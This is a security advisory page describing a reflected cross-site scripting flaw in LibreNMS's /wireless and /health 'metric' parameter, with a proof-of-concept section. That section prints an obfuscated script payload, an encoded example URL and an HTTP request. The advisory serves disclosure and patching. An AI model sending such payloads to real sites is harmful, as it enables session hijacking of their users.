Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS0yOHA3LWY2aDYtM2poM84ABBZI

LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/html/pages/wireless.inc.php

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability in the "metric" parameter of the "/wireless" and "/health" endpoints allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "metric" parameter, potentially compromising their session and allowing unauthorized actions.

Details

The "/wireless" and "/health" endpoints are vulnerable to reflected XSS in the "metric" parameter. An attacker can inject the following XSS payload into the "metric" parameter:
<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<!---->

When the page is loaded with this malicious parameter, the script executes immediately. The vulnerability occurs due to improper sanitization of the "metric" parameter in the following sinks:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/wireless.inc.php#L82
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/health.inc.php#L114

PoC

1. Inject the following payload into the "metric" parameter of the "/wireless" or "/health" endpoint:
   <script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<!---->
2. Access the page with the injected payload.
3. Observe that the injected script executes upon loading the page.

Example URL: http://<your_url>/wireless/metric=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C!----%3E

Example Request:

GET /wireless/metric=%3Cscript%3Econstructor[%27constructor%27](atob(%27Y29uZmlybShkb2N1bWVudC5kb21haW4p%27))();%3C!----%3E HTTP/1.1
Host: <your_host>
Cookie: <your cookies>

Impact

This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.

Permalink: https://github.com/advisories/GHSA-28p7-f6h6-3jh3
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOHA3LWY2aDYtM2poM84ABBZI
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: 16 days ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS Percentage: 0.00045
EPSS Percentile: 0.1561

Identifiers: GHSA-28p7-f6h6-3jh3, CVE-2024-51496
References:

• https://github.com/librenms/librenms/security/advisories/GHSA-28p7-f6h6-3jh3
• https://github.com/librenms/librenms/commit/aef739a438ffb507e927a4ec87b359164a7a053a
• https://nvd.nist.gov/vuln/detail/CVE-2024-51496
• https://github.com/advisories/GHSA-28p7-f6h6-3jh3

Repository: https://github.com/librenms/librenms
Blast Radius: 2.3

Affected Packages